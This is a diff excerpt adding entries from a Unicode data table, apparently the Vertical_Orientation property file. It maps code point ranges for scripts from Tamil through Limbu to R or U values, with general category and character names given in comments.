+0B9E..0B9F     ; R  # Lo     [2] TAMIL LETTER NYA..TAMIL LETTER TTA
+0BA3..0BA4     ; R  # Lo     [2] TAMIL LETTER NNA..TAMIL LETTER TA
+0BA8..0BAA     ; R  # Lo     [3] TAMIL LETTER NA..TAMIL LETTER PA
+0BAE..0BB9     ; R  # Lo    [12] TAMIL LETTER MA..TAMIL LETTER HA
+0BBE..0BBF     ; R  # Mc     [2] TAMIL VOWEL SIGN AA..TAMIL VOWEL SIGN I
+0BC0           ; R  # Mn         TAMIL VOWEL SIGN II
+0BC1..0BC2     ; R  # Mc     [2] TAMIL VOWEL SIGN U..TAMIL VOWEL SIGN UU
+0BC6..0BC8     ; R  # Mc     [3] TAMIL VOWEL SIGN E..TAMIL VOWEL SIGN AI
+0BCA..0BCC     ; R  # Mc     [3] TAMIL VOWEL SIGN O..TAMIL VOWEL SIGN AU
+0BCD           ; R  # Mn         TAMIL SIGN VIRAMA
+0BD0           ; R  # Lo         TAMIL OM
+0BD7           ; R  # Mc         TAMIL AU LENGTH MARK
+0BE6..0BEF     ; R  # Nd    [10] TAMIL DIGIT ZERO..TAMIL DIGIT NINE
+0BF0..0BF2     ; R  # No     [3] TAMIL NUMBER TEN..TAMIL NUMBER ONE THOUSAND
+0BF3..0BF8     ; R  # So     [6] TAMIL DAY SIGN..TAMIL AS ABOVE SIGN
+0BF9           ; R  # Sc         TAMIL RUPEE SIGN
+0BFA           ; R  # So         TAMIL NUMBER SIGN
+0C00           ; R  # Mn         TELUGU SIGN COMBINING CANDRABINDU ABOVE
+0C01..0C03     ; R  # Mc     [3] TELUGU SIGN CANDRABINDU..TELUGU SIGN VISARGA
+0C05..0C0C     ; R  # Lo     [8] TELUGU LETTER A..TELUGU LETTER VOCALIC L
+0C0E..0C10     ; R  # Lo     [3] TELUGU LETTER E..TELUGU LETTER AI
+0C12..0C28     ; R  # Lo    [23] TELUGU LETTER O..TELUGU LETTER NA
+0C2A..0C39     ; R  # Lo    [16] TELUGU LETTER PA..TELUGU LETTER HA
+0C3D           ; R  # Lo         TELUGU SIGN AVAGRAHA
+0C3E..0C40     ; R  # Mn     [3] TELUGU VOWEL SIGN AA..TELUGU VOWEL SIGN II
+0C41..0C44     ; R  # Mc     [4] TELUGU VOWEL SIGN U..TELUGU VOWEL SIGN VOCALIC RR
+0C46..0C48     ; R  # Mn     [3] TELUGU VOWEL SIGN E..TELUGU VOWEL SIGN AI
+0C4A..0C4D     ; R  # Mn     [4] TELUGU VOWEL SIGN O..TELUGU SIGN VIRAMA
+0C55..0C56     ; R  # Mn     [2] TELUGU LENGTH MARK..TELUGU AI LENGTH MARK
+0C58..0C5A     ; R  # Lo     [3] TELUGU LETTER TSA..TELUGU LETTER RRRA
+0C60..0C61     ; R  # Lo     [2] TELUGU LETTER VOCALIC RR..TELUGU LETTER VOCALIC LL
+0C62..0C63     ; R  # Mn     [2] TELUGU VOWEL SIGN VOCALIC L..TELUGU VOWEL SIGN VOCALIC LL
+0C66..0C6F     ; R  # Nd    [10] TELUGU DIGIT ZERO..TELUGU DIGIT NINE
+0C78..0C7E     ; R  # No     [7] TELUGU FRACTION DIGIT ZERO FOR ODD POWERS OF FOUR..TELUGU FRACTION DIGIT THREE FOR EVEN POWERS OF FOUR
+0C7F           ; R  # So         TELUGU SIGN TUUMU
+0C80           ; R  # Lo         KANNADA SIGN SPACING CANDRABINDU
+0C81           ; R  # Mn         KANNADA SIGN CANDRABINDU
+0C82..0C83     ; R  # Mc     [2] KANNADA SIGN ANUSVARA..KANNADA SIGN VISARGA
+0C85..0C8C     ; R  # Lo     [8] KANNADA LETTER A..KANNADA LETTER VOCALIC L
+0C8E..0C90     ; R  # Lo     [3] KANNADA LETTER E..KANNADA LETTER AI
+0C92..0CA8     ; R  # Lo    [23] KANNADA LETTER O..KANNADA LETTER NA
+0CAA..0CB3     ; R  # Lo    [10] KANNADA LETTER PA..KANNADA LETTER LLA
+0CB5..0CB9     ; R  # Lo     [5] KANNADA LETTER VA..KANNADA LETTER HA
+0CBC           ; R  # Mn         KANNADA SIGN NUKTA
+0CBD           ; R  # Lo         KANNADA SIGN AVAGRAHA
+0CBE           ; R  # Mc         KANNADA VOWEL SIGN AA
+0CBF           ; R  # Mn         KANNADA VOWEL SIGN I
+0CC0..0CC4     ; R  # Mc     [5] KANNADA VOWEL SIGN II..KANNADA VOWEL SIGN VOCALIC RR
+0CC6           ; R  # Mn         KANNADA VOWEL SIGN E
+0CC7..0CC8     ; R  # Mc     [2] KANNADA VOWEL SIGN EE..KANNADA VOWEL SIGN AI
+0CCA..0CCB     ; R  # Mc     [2] KANNADA VOWEL SIGN O..KANNADA VOWEL SIGN OO
+0CCC..0CCD     ; R  # Mn     [2] KANNADA VOWEL SIGN AU..KANNADA SIGN VIRAMA
+0CD5..0CD6     ; R  # Mc     [2] KANNADA LENGTH MARK..KANNADA AI LENGTH MARK
+0CDE           ; R  # Lo         KANNADA LETTER FA
+0CE0..0CE1     ; R  # Lo     [2] KANNADA LETTER VOCALIC RR..KANNADA LETTER VOCALIC LL
+0CE2..0CE3     ; R  # Mn     [2] KANNADA VOWEL SIGN VOCALIC L..KANNADA VOWEL SIGN VOCALIC LL
+0CE6..0CEF     ; R  # Nd    [10] KANNADA DIGIT ZERO..KANNADA DIGIT NINE
+0CF1..0CF2     ; R  # Lo     [2] KANNADA SIGN JIHVAMULIYA..KANNADA SIGN UPADHMANIYA
+0D00..0D01     ; R  # Mn     [2] MALAYALAM SIGN COMBINING ANUSVARA ABOVE..MALAYALAM SIGN CANDRABINDU
+0D02..0D03     ; R  # Mc     [2] MALAYALAM SIGN ANUSVARA..MALAYALAM SIGN VISARGA
+0D05..0D0C     ; R  # Lo     [8] MALAYALAM LETTER A..MALAYALAM LETTER VOCALIC L
+0D0E..0D10     ; R  # Lo     [3] MALAYALAM LETTER E..MALAYALAM LETTER AI
+0D12..0D3A     ; R  # Lo    [41] MALAYALAM LETTER O..MALAYALAM LETTER TTTA
+0D3B..0D3C     ; R  # Mn     [2] MALAYALAM SIGN VERTICAL BAR VIRAMA..MALAYALAM SIGN CIRCULAR VIRAMA
+0D3D           ; R  # Lo         MALAYALAM SIGN AVAGRAHA
+0D3E..0D40     ; R  # Mc     [3] MALAYALAM VOWEL SIGN AA..MALAYALAM VOWEL SIGN II
+0D41..0D44     ; R  # Mn     [4] MALAYALAM VOWEL SIGN U..MALAYALAM VOWEL SIGN VOCALIC RR
+0D46..0D48     ; R  # Mc     [3] MALAYALAM VOWEL SIGN E..MALAYALAM VOWEL SIGN AI
+0D4A..0D4C     ; R  # Mc     [3] MALAYALAM VOWEL SIGN O..MALAYALAM VOWEL SIGN AU
+0D4D           ; R  # Mn         MALAYALAM SIGN VIRAMA
+0D4E           ; R  # Lo         MALAYALAM LETTER DOT REPH
+0D4F           ; R  # So         MALAYALAM SIGN PARA
+0D54..0D56     ; R  # Lo     [3] MALAYALAM LETTER CHILLU M..MALAYALAM LETTER CHILLU LLL
+0D57           ; R  # Mc         MALAYALAM AU LENGTH MARK
+0D58..0D5E     ; R  # No     [7] MALAYALAM FRACTION ONE ONE-HUNDRED-AND-SIXTIETH..MALAYALAM FRACTION ONE FIFTH
+0D5F..0D61     ; R  # Lo     [3] MALAYALAM LETTER ARCHAIC II..MALAYALAM LETTER VOCALIC LL
+0D62..0D63     ; R  # Mn     [2] MALAYALAM VOWEL SIGN VOCALIC L..MALAYALAM VOWEL SIGN VOCALIC LL
+0D66..0D6F     ; R  # Nd    [10] MALAYALAM DIGIT ZERO..MALAYALAM DIGIT NINE
+0D70..0D78     ; R  # No     [9] MALAYALAM NUMBER TEN..MALAYALAM FRACTION THREE SIXTEENTHS
+0D79           ; R  # So         MALAYALAM DATE MARK
+0D7A..0D7F     ; R  # Lo     [6] MALAYALAM LETTER CHILLU NN..MALAYALAM LETTER CHILLU K
+0D82..0D83     ; R  # Mc     [2] SINHALA SIGN ANUSVARAYA..SINHALA SIGN VISARGAYA
+0D85..0D96     ; R  # Lo    [18] SINHALA LETTER AYANNA..SINHALA LETTER AUYANNA
+0D9A..0DB1     ; R  # Lo    [24] SINHALA LETTER ALPAPRAANA KAYANNA..SINHALA LETTER DANTAJA NAYANNA
+0DB3..0DBB     ; R  # Lo     [9] SINHALA LETTER SANYAKA DAYANNA..SINHALA LETTER RAYANNA
+0DBD           ; R  # Lo         SINHALA LETTER DANTAJA LAYANNA
+0DC0..0DC6     ; R  # Lo     [7] SINHALA LETTER VAYANNA..SINHALA LETTER FAYANNA
+0DCA           ; R  # Mn         SINHALA SIGN AL-LAKUNA
+0DCF..0DD1     ; R  # Mc     [3] SINHALA VOWEL SIGN AELA-PILLA..SINHALA VOWEL SIGN DIGA AEDA-PILLA
+0DD2..0DD4     ; R  # Mn     [3] SINHALA VOWEL SIGN KETTI IS-PILLA..SINHALA VOWEL SIGN KETTI PAA-PILLA
+0DD6           ; R  # Mn         SINHALA VOWEL SIGN DIGA PAA-PILLA
+0DD8..0DDF     ; R  # Mc     [8] SINHALA VOWEL SIGN GAETTA-PILLA..SINHALA VOWEL SIGN GAYANUKITTA
+0DE6..0DEF     ; R  # Nd    [10] SINHALA LITH DIGIT ZERO..SINHALA LITH DIGIT NINE
+0DF2..0DF3     ; R  # Mc     [2] SINHALA VOWEL SIGN DIGA GAETTA-PILLA..SINHALA VOWEL SIGN DIGA GAYANUKITTA
+0DF4           ; R  # Po         SINHALA PUNCTUATION KUNDDALIYA
+0E01..0E30     ; R  # Lo    [48] THAI CHARACTER KO KAI..THAI CHARACTER SARA A
+0E31           ; R  # Mn         THAI CHARACTER MAI HAN-AKAT
+0E32..0E33     ; R  # Lo     [2] THAI CHARACTER SARA AA..THAI CHARACTER SARA AM
+0E34..0E3A     ; R  # Mn     [7] THAI CHARACTER SARA I..THAI CHARACTER PHINTHU
+0E3F           ; R  # Sc         THAI CURRENCY SYMBOL BAHT
+0E40..0E45     ; R  # Lo     [6] THAI CHARACTER SARA E..THAI CHARACTER LAKKHANGYAO
+0E46           ; R  # Lm         THAI CHARACTER MAIYAMOK
+0E47..0E4E     ; R  # Mn     [8] THAI CHARACTER MAITAIKHU..THAI CHARACTER YAMAKKAN
+0E4F           ; R  # Po         THAI CHARACTER FONGMAN
+0E50..0E59     ; R  # Nd    [10] THAI DIGIT ZERO..THAI DIGIT NINE
+0E5A..0E5B     ; R  # Po     [2] THAI CHARACTER ANGKHANKHU..THAI CHARACTER KHOMUT
+0E81..0E82     ; R  # Lo     [2] LAO LETTER KO..LAO LETTER KHO SUNG
+0E84           ; R  # Lo         LAO LETTER KHO TAM
+0E87..0E88     ; R  # Lo     [2] LAO LETTER NGO..LAO LETTER CO
+0E8A           ; R  # Lo         LAO LETTER SO TAM
+0E8D           ; R  # Lo         LAO LETTER NYO
+0E94..0E97     ; R  # Lo     [4] LAO LETTER DO..LAO LETTER THO TAM
+0E99..0E9F     ; R  # Lo     [7] LAO LETTER NO..LAO LETTER FO SUNG
+0EA1..0EA3     ; R  # Lo     [3] LAO LETTER MO..LAO LETTER LO LING
+0EA5           ; R  # Lo         LAO LETTER LO LOOT
+0EA7           ; R  # Lo         LAO LETTER WO
+0EAA..0EAB     ; R  # Lo     [2] LAO LETTER SO SUNG..LAO LETTER HO SUNG
+0EAD..0EB0     ; R  # Lo     [4] LAO LETTER O..LAO VOWEL SIGN A
+0EB1           ; R  # Mn         LAO VOWEL SIGN MAI KAN
+0EB2..0EB3     ; R  # Lo     [2] LAO VOWEL SIGN AA..LAO VOWEL SIGN AM
+0EB4..0EB9     ; R  # Mn     [6] LAO VOWEL SIGN I..LAO VOWEL SIGN UU
+0EBB..0EBC     ; R  # Mn     [2] LAO VOWEL SIGN MAI KON..LAO SEMIVOWEL SIGN LO
+0EBD           ; R  # Lo         LAO SEMIVOWEL SIGN NYO
+0EC0..0EC4     ; R  # Lo     [5] LAO VOWEL SIGN E..LAO VOWEL SIGN AI
+0EC6           ; R  # Lm         LAO KO LA
+0EC8..0ECD     ; R  # Mn     [6] LAO TONE MAI EK..LAO NIGGAHITA
+0ED0..0ED9     ; R  # Nd    [10] LAO DIGIT ZERO..LAO DIGIT NINE
+0EDC..0EDF     ; R  # Lo     [4] LAO HO NO..LAO LETTER KHMU NYO
+0F00           ; R  # Lo         TIBETAN SYLLABLE OM
+0F01..0F03     ; R  # So     [3] TIBETAN MARK GTER YIG MGO TRUNCATED A..TIBETAN MARK GTER YIG MGO -UM GTER TSHEG MA
+0F04..0F12     ; R  # Po    [15] TIBETAN MARK INITIAL YIG MGO MDUN MA..TIBETAN MARK RGYA GRAM SHAD
+0F13           ; R  # So         TIBETAN MARK CARET -DZUD RTAGS ME LONG CAN
+0F14           ; R  # Po         TIBETAN MARK GTER TSHEG
+0F15..0F17     ; R  # So     [3] TIBETAN LOGOTYPE SIGN CHAD RTAGS..TIBETAN ASTROLOGICAL SIGN SGRA GCAN -CHAR RTAGS
+0F18..0F19     ; R  # Mn     [2] TIBETAN ASTROLOGICAL SIGN -KHYUD PA..TIBETAN ASTROLOGICAL SIGN SDONG TSHUGS
+0F1A..0F1F     ; R  # So     [6] TIBETAN SIGN RDEL DKAR GCIG..TIBETAN SIGN RDEL DKAR RDEL NAG
+0F20..0F29     ; R  # Nd    [10] TIBETAN DIGIT ZERO..TIBETAN DIGIT NINE
+0F2A..0F33     ; R  # No    [10] TIBETAN DIGIT HALF ONE..TIBETAN DIGIT HALF ZERO
+0F34           ; R  # So         TIBETAN MARK BSDUS RTAGS
+0F35           ; R  # Mn         TIBETAN MARK NGAS BZUNG NYI ZLA
+0F36           ; R  # So         TIBETAN MARK CARET -DZUD RTAGS BZHI MIG CAN
+0F37           ; R  # Mn         TIBETAN MARK NGAS BZUNG SGOR RTAGS
+0F38           ; R  # So         TIBETAN MARK CHE MGO
+0F39           ; R  # Mn         TIBETAN MARK TSA -PHRU
+0F3A           ; R  # Ps         TIBETAN MARK GUG RTAGS GYON
+0F3B           ; R  # Pe         TIBETAN MARK GUG RTAGS GYAS
+0F3C           ; R  # Ps         TIBETAN MARK ANG KHANG GYON
+0F3D           ; R  # Pe         TIBETAN MARK ANG KHANG GYAS
+0F3E..0F3F     ; R  # Mc     [2] TIBETAN SIGN YAR TSHES..TIBETAN SIGN MAR TSHES
+0F40..0F47     ; R  # Lo     [8] TIBETAN LETTER KA..TIBETAN LETTER JA
+0F49..0F6C     ; R  # Lo    [36] TIBETAN LETTER NYA..TIBETAN LETTER RRA
+0F71..0F7E     ; R  # Mn    [14] TIBETAN VOWEL SIGN AA..TIBETAN SIGN RJES SU NGA RO
+0F7F           ; R  # Mc         TIBETAN SIGN RNAM BCAD
+0F80..0F84     ; R  # Mn     [5] TIBETAN VOWEL SIGN REVERSED I..TIBETAN MARK HALANTA
+0F85           ; R  # Po         TIBETAN MARK PALUTA
+0F86..0F87     ; R  # Mn     [2] TIBETAN SIGN LCI RTAGS..TIBETAN SIGN YANG RTAGS
+0F88..0F8C     ; R  # Lo     [5] TIBETAN SIGN LCE TSA CAN..TIBETAN SIGN INVERTED MCHU CAN
+0F8D..0F97     ; R  # Mn    [11] TIBETAN SUBJOINED SIGN LCE TSA CAN..TIBETAN SUBJOINED LETTER JA
+0F99..0FBC     ; R  # Mn    [36] TIBETAN SUBJOINED LETTER NYA..TIBETAN SUBJOINED LETTER FIXED-FORM RA
+0FBE..0FC5     ; R  # So     [8] TIBETAN KU RU KHA..TIBETAN SYMBOL RDO RJE
+0FC6           ; R  # Mn         TIBETAN SYMBOL PADMA GDAN
+0FC7..0FCC     ; R  # So     [6] TIBETAN SYMBOL RDO RJE RGYA GRAM..TIBETAN SYMBOL NOR BU BZHI -KHYIL
+0FCE..0FCF     ; R  # So     [2] TIBETAN SIGN RDEL NAG RDEL DKAR..TIBETAN SIGN RDEL NAG GSUM
+0FD0..0FD4     ; R  # Po     [5] TIBETAN MARK BSKA- SHOG GI MGO RGYAN..TIBETAN MARK CLOSING BRDA RNYING YIG MGO SGAB MA
+0FD5..0FD8     ; R  # So     [4] RIGHT-FACING SVASTI SIGN..LEFT-FACING SVASTI SIGN WITH DOTS
+0FD9..0FDA     ; R  # Po     [2] TIBETAN MARK LEADING MCHAN RTAGS..TIBETAN MARK TRAILING MCHAN RTAGS
+1000..102A     ; R  # Lo    [43] MYANMAR LETTER KA..MYANMAR LETTER AU
+102B..102C     ; R  # Mc     [2] MYANMAR VOWEL SIGN TALL AA..MYANMAR VOWEL SIGN AA
+102D..1030     ; R  # Mn     [4] MYANMAR VOWEL SIGN I..MYANMAR VOWEL SIGN UU
+1031           ; R  # Mc         MYANMAR VOWEL SIGN E
+1032..1037     ; R  # Mn     [6] MYANMAR VOWEL SIGN AI..MYANMAR SIGN DOT BELOW
+1038           ; R  # Mc         MYANMAR SIGN VISARGA
+1039..103A     ; R  # Mn     [2] MYANMAR SIGN VIRAMA..MYANMAR SIGN ASAT
+103B..103C     ; R  # Mc     [2] MYANMAR CONSONANT SIGN MEDIAL YA..MYANMAR CONSONANT SIGN MEDIAL RA
+103D..103E     ; R  # Mn     [2] MYANMAR CONSONANT SIGN MEDIAL WA..MYANMAR CONSONANT SIGN MEDIAL HA
+103F           ; R  # Lo         MYANMAR LETTER GREAT SA
+1040..1049     ; R  # Nd    [10] MYANMAR DIGIT ZERO..MYANMAR DIGIT NINE
+104A..104F     ; R  # Po     [6] MYANMAR SIGN LITTLE SECTION..MYANMAR SYMBOL GENITIVE
+1050..1055     ; R  # Lo     [6] MYANMAR LETTER SHA..MYANMAR LETTER VOCALIC LL
+1056..1057     ; R  # Mc     [2] MYANMAR VOWEL SIGN VOCALIC R..MYANMAR VOWEL SIGN VOCALIC RR
+1058..1059     ; R  # Mn     [2] MYANMAR VOWEL SIGN VOCALIC L..MYANMAR VOWEL SIGN VOCALIC LL
+105A..105D     ; R  # Lo     [4] MYANMAR LETTER MON NGA..MYANMAR LETTER MON BBE
+105E..1060     ; R  # Mn     [3] MYANMAR CONSONANT SIGN MON MEDIAL NA..MYANMAR CONSONANT SIGN MON MEDIAL LA
+1061           ; R  # Lo         MYANMAR LETTER SGAW KAREN SHA
+1062..1064     ; R  # Mc     [3] MYANMAR VOWEL SIGN SGAW KAREN EU..MYANMAR TONE MARK SGAW KAREN KE PHO
+1065..1066     ; R  # Lo     [2] MYANMAR LETTER WESTERN PWO KAREN THA..MYANMAR LETTER WESTERN PWO KAREN PWA
+1067..106D     ; R  # Mc     [7] MYANMAR VOWEL SIGN WESTERN PWO KAREN EU..MYANMAR SIGN WESTERN PWO KAREN TONE-5
+106E..1070     ; R  # Lo     [3] MYANMAR LETTER EASTERN PWO KAREN NNA..MYANMAR LETTER EASTERN PWO KAREN GHWA
+1071..1074     ; R  # Mn     [4] MYANMAR VOWEL SIGN GEBA KAREN I..MYANMAR VOWEL SIGN KAYAH EE
+1075..1081     ; R  # Lo    [13] MYANMAR LETTER SHAN KA..MYANMAR LETTER SHAN HA
+1082           ; R  # Mn         MYANMAR CONSONANT SIGN SHAN MEDIAL WA
+1083..1084     ; R  # Mc     [2] MYANMAR VOWEL SIGN SHAN AA..MYANMAR VOWEL SIGN SHAN E
+1085..1086     ; R  # Mn     [2] MYANMAR VOWEL SIGN SHAN E ABOVE..MYANMAR VOWEL SIGN SHAN FINAL Y
+1087..108C     ; R  # Mc     [6] MYANMAR SIGN SHAN TONE-2..MYANMAR SIGN SHAN COUNCIL TONE-3
+108D           ; R  # Mn         MYANMAR SIGN SHAN COUNCIL EMPHATIC TONE
+108E           ; R  # Lo         MYANMAR LETTER RUMAI PALAUNG FA
+108F           ; R  # Mc         MYANMAR SIGN RUMAI PALAUNG TONE-5
+1090..1099     ; R  # Nd    [10] MYANMAR SHAN DIGIT ZERO..MYANMAR SHAN DIGIT NINE
+109A..109C     ; R  # Mc     [3] MYANMAR SIGN KHAMTI TONE-1..MYANMAR VOWEL SIGN AITON A
+109D           ; R  # Mn         MYANMAR VOWEL SIGN AITON AI
+109E..109F     ; R  # So     [2] MYANMAR SYMBOL SHAN ONE..MYANMAR SYMBOL SHAN EXCLAMATION
+10A0..10C5     ; R  # Lu    [38] GEORGIAN CAPITAL LETTER AN..GEORGIAN CAPITAL LETTER HOE
+10C7           ; R  # Lu         GEORGIAN CAPITAL LETTER YN
+10CD           ; R  # Lu         GEORGIAN CAPITAL LETTER AEN
+10D0..10FA     ; R  # Lo    [43] GEORGIAN LETTER AN..GEORGIAN LETTER AIN
+10FB           ; R  # Po         GEORGIAN PARAGRAPH SEPARATOR
+10FC           ; R  # Lm         MODIFIER LETTER GEORGIAN NAR
+10FD..10FF     ; R  # Lo     [3] GEORGIAN LETTER AEN..GEORGIAN LETTER LABIAL SIGN
+1100..11FF     ; U  # Lo   [256] HANGUL CHOSEONG KIYEOK..HANGUL JONGSEONG SSANGNIEUN
+1200..1248     ; R  # Lo    [73] ETHIOPIC SYLLABLE HA..ETHIOPIC SYLLABLE QWA
+124A..124D     ; R  # Lo     [4] ETHIOPIC SYLLABLE QWI..ETHIOPIC SYLLABLE QWE
+1250..1256     ; R  # Lo     [7] ETHIOPIC SYLLABLE QHA..ETHIOPIC SYLLABLE QHO
+1258           ; R  # Lo         ETHIOPIC SYLLABLE QHWA
+125A..125D     ; R  # Lo     [4] ETHIOPIC SYLLABLE QHWI..ETHIOPIC SYLLABLE QHWE
+1260..1288     ; R  # Lo    [41] ETHIOPIC SYLLABLE BA..ETHIOPIC SYLLABLE XWA
+128A..128D     ; R  # Lo     [4] ETHIOPIC SYLLABLE XWI..ETHIOPIC SYLLABLE XWE
+1290..12B0     ; R  # Lo    [33] ETHIOPIC SYLLABLE NA..ETHIOPIC SYLLABLE KWA
+12B2..12B5     ; R  # Lo     [4] ETHIOPIC SYLLABLE KWI..ETHIOPIC SYLLABLE KWE
+12B8..12BE     ; R  # Lo     [7] ETHIOPIC SYLLABLE KXA..ETHIOPIC SYLLABLE KXO
+12C0           ; R  # Lo         ETHIOPIC SYLLABLE KXWA
+12C2..12C5     ; R  # Lo     [4] ETHIOPIC SYLLABLE KXWI..ETHIOPIC SYLLABLE KXWE
+12C8..12D6     ; R  # Lo    [15] ETHIOPIC SYLLABLE WA..ETHIOPIC SYLLABLE PHARYNGEAL O
+12D8..1310     ; R  # Lo    [57] ETHIOPIC SYLLABLE ZA..ETHIOPIC SYLLABLE GWA
+1312..1315     ; R  # Lo     [4] ETHIOPIC SYLLABLE GWI..ETHIOPIC SYLLABLE GWE
+1318..135A     ; R  # Lo    [67] ETHIOPIC SYLLABLE GGA..ETHIOPIC SYLLABLE FYA
+135D..135F     ; R  # Mn     [3] ETHIOPIC COMBINING GEMINATION AND VOWEL LENGTH MARK..ETHIOPIC COMBINING GEMINATION MARK
+1360..1368     ; R  # Po     [9] ETHIOPIC SECTION MARK..ETHIOPIC PARAGRAPH SEPARATOR
+1369..137C     ; R  # No    [20] ETHIOPIC DIGIT ONE..ETHIOPIC NUMBER TEN THOUSAND
+1380..138F     ; R  # Lo    [16] ETHIOPIC SYLLABLE SEBATBEIT MWA..ETHIOPIC SYLLABLE PWE
+1390..1399     ; R  # So    [10] ETHIOPIC TONAL MARK YIZET..ETHIOPIC TONAL MARK KURT
+13A0..13F5     ; R  # Lu    [86] CHEROKEE LETTER A..CHEROKEE LETTER MV
+13F8..13FD     ; R  # Ll     [6] CHEROKEE SMALL LETTER YE..CHEROKEE SMALL LETTER MV
+1400           ; R  # Pd         CANADIAN SYLLABICS HYPHEN
+1401..166C     ; U  # Lo   [620] CANADIAN SYLLABICS E..CANADIAN SYLLABICS CARRIER TTSA
+166D..166E     ; U  # Po     [2] CANADIAN SYLLABICS CHI SIGN..CANADIAN SYLLABICS FULL STOP
+166F..167F     ; U  # Lo    [17] CANADIAN SYLLABICS QAI..CANADIAN SYLLABICS BLACKFOOT W
+1680           ; R  # Zs         OGHAM SPACE MARK
+1681..169A     ; R  # Lo    [26] OGHAM LETTER BEITH..OGHAM LETTER PEITH
+169B           ; R  # Ps         OGHAM FEATHER MARK
+169C           ; R  # Pe         OGHAM REVERSED FEATHER MARK
+16A0..16EA     ; R  # Lo    [75] RUNIC LETTER FEHU FEOH FE F..RUNIC LETTER X
+16EB..16ED     ; R  # Po     [3] RUNIC SINGLE PUNCTUATION..RUNIC CROSS PUNCTUATION
+16EE..16F0     ; R  # Nl     [3] RUNIC ARLAUG SYMBOL..RUNIC BELGTHOR SYMBOL
+16F1..16F8     ; R  # Lo     [8] RUNIC LETTER K..RUNIC LETTER FRANKS CASKET AESC
+1700..170C     ; R  # Lo    [13] TAGALOG LETTER A..TAGALOG LETTER YA
+170E..1711     ; R  # Lo     [4] TAGALOG LETTER LA..TAGALOG LETTER HA
+1712..1714     ; R  # Mn     [3] TAGALOG VOWEL SIGN I..TAGALOG SIGN VIRAMA
+1720..1731     ; R  # Lo    [18] HANUNOO LETTER A..HANUNOO LETTER HA
+1732..1734     ; R  # Mn     [3] HANUNOO VOWEL SIGN I..HANUNOO SIGN PAMUDPOD
+1735..1736     ; R  # Po     [2] PHILIPPINE SINGLE PUNCTUATION..PHILIPPINE DOUBLE PUNCTUATION
+1740..1751     ; R  # Lo    [18] BUHID LETTER A..BUHID LETTER HA
+1752..1753     ; R  # Mn     [2] BUHID VOWEL SIGN I..BUHID VOWEL SIGN U
+1760..176C     ; R  # Lo    [13] TAGBANWA LETTER A..TAGBANWA LETTER YA
+176E..1770     ; R  # Lo     [3] TAGBANWA LETTER LA..TAGBANWA LETTER SA
+1772..1773     ; R  # Mn     [2] TAGBANWA VOWEL SIGN I..TAGBANWA VOWEL SIGN U
+1780..17B3     ; R  # Lo    [52] KHMER LETTER KA..KHMER INDEPENDENT VOWEL QAU
+17B4..17B5     ; R  # Mn     [2] KHMER VOWEL INHERENT AQ..KHMER VOWEL INHERENT AA
+17B6           ; R  # Mc         KHMER VOWEL SIGN AA
+17B7..17BD     ; R  # Mn     [7] KHMER VOWEL SIGN I..KHMER VOWEL SIGN UA
+17BE..17C5     ; R  # Mc     [8] KHMER VOWEL SIGN OE..KHMER VOWEL SIGN AU
+17C6           ; R  # Mn         KHMER SIGN NIKAHIT
+17C7..17C8     ; R  # Mc     [2] KHMER SIGN REAHMUK..KHMER SIGN YUUKALEAPINTU
+17C9..17D3     ; R  # Mn    [11] KHMER SIGN MUUSIKATOAN..KHMER SIGN BATHAMASAT
+17D4..17D6     ; R  # Po     [3] KHMER SIGN KHAN..KHMER SIGN CAMNUC PII KUUH
+17D7           ; R  # Lm         KHMER SIGN LEK TOO
+17D8..17DA     ; R  # Po     [3] KHMER SIGN BEYYAL..KHMER SIGN KOOMUUT
+17DB           ; R  # Sc         KHMER CURRENCY SYMBOL RIEL
+17DC           ; R  # Lo         KHMER SIGN AVAKRAHASANYA
+17DD           ; R  # Mn         KHMER SIGN ATTHACAN
+17E0..17E9     ; R  # Nd    [10] KHMER DIGIT ZERO..KHMER DIGIT NINE
+17F0..17F9     ; R  # No    [10] KHMER SYMBOL LEK ATTAK SON..KHMER SYMBOL LEK ATTAK PRAM-BUON
+1800..1805     ; R  # Po     [6] MONGOLIAN BIRGA..MONGOLIAN FOUR DOTS
+1806           ; R  # Pd         MONGOLIAN TODO SOFT HYPHEN
+1807..180A     ; R  # Po     [4] MONGOLIAN SIBE SYLLABLE BOUNDARY MARKER..MONGOLIAN NIRUGU
+180B..180D     ; R  # Mn     [3] MONGOLIAN FREE VARIATION SELECTOR ONE..MONGOLIAN FREE VARIATION SELECTOR THREE
+180E           ; R  # Cf         MONGOLIAN VOWEL SEPARATOR
+1810..1819     ; R  # Nd    [10] MONGOLIAN DIGIT ZERO..MONGOLIAN DIGIT NINE
+1820..1842     ; R  # Lo    [35] MONGOLIAN LETTER A..MONGOLIAN LETTER CHI
+1843           ; R  # Lm         MONGOLIAN LETTER TODO LONG VOWEL SIGN
+1844..1877     ; R  # Lo    [52] MONGOLIAN LETTER TODO E..MONGOLIAN LETTER MANCHU ZHA
+1880..1884     ; R  # Lo     [5] MONGOLIAN LETTER ALI GALI ANUSVARA ONE..MONGOLIAN LETTER ALI GALI INVERTED UBADAMA
+1885..1886     ; R  # Mn     [2] MONGOLIAN LETTER ALI GALI BALUDA..MONGOLIAN LETTER ALI GALI THREE BALUDA
+1887..18A8     ; R  # Lo    [34] MONGOLIAN LETTER ALI GALI A..MONGOLIAN LETTER MANCHU ALI GALI BHA
+18A9           ; R  # Mn         MONGOLIAN LETTER ALI GALI DAGALGA
+18AA           ; R  # Lo         MONGOLIAN LETTER MANCHU ALI GALI LHA
+18B0..18F5     ; U  # Lo    [70] CANADIAN SYLLABICS OY..CANADIAN SYLLABICS CARRIER DENTAL S
+18F6..18FF     ; U  # Cn    [10] <reserved-18F6>..<reserved-18FF>
+1900..191E     ; R  # Lo    [31] LIMBU VOWEL-CARRIER LETTER..LIMBU LETTER TRA
+1920..1922     ; R  # Mn     [3] LIMBU VOWEL SIGN A..LIMBU VOWEL SIGN U
+1923..1926     ; R  # Mc     [4] LIMBU VOWEL SIGN EE..LIMBU VOWEL SIGN AU
+1927..1928     ; R  # Mn     [2] LIMBU VOWEL SIGN E..LIMBU VOWEL SIGN O
+1929..192B     ; R  # Mc     [3] LIMBU SUBJOINED LETTER YA..LIMBU SUBJOINED LETTER WA
+1930..1931     ; R  # Mc     [2] LIMBU SMALL LETTER KA..LIMBU SMALL LETTER NGA
+1932           ; R  # Mn         LIMBU SMALL LETTER ANUSVARA
+1933..1938     ; R  # Mc     [6] LIMBU SMALL LETTER TA..LIMBU SMALL LETTER LA
+1939..193B     ; R  # Mn     [3] LIMBU SIGN MUKPHRENG..LIMBU SIGN SA-I
+1940           ; R  # So         LIMBU SIGN LOO
